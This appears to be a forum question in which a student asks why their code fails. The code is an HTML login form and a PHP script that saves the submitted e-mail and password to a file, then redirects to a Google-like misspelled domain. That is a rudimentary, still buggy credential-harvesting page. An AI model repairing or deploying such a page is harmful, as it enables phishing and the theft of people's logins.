0
Guys, I’ve got some college work to do and I’m trying, I’ve already got some online forms and nothing. I’d like to know where I’m going wrong... :)
FRONT END THAT SENDS
<!DOCTYPE html>
<html>
<title>Jumanji World</title>
<body>
<h2>Welcome to Jumanji</h2>
<form action="salva.php" method="POST" >
<input type="email" name="usuario" id="usuario" placeholder="E-mail: ">
<input type="password" name="senha" id="senha" placeholder="Senha: ">
<input type=submit value="Entrar">
</form>
<p>“Na selva, espere afoito, até o resultado ser cinco ou oito”..</p>
</body>
</html>
PHP THAT RECEIVES
<?php
$login = $POST["user"];
$senha = $POST["pass"];
$consolidado = "Email: $user - Senha: $pass";
$arquivo = fopen('meu_arquivo.txt', 'w');
if ($arquivo == false)
die('Não foi possível enviar seu arquivo.');
fwrite($arquivo, $consolidado);
fclose($arquivo);
header("location: https://www.goolgle.com/");
?>
What’s going on? Gives some error message?
– Augusto Vasques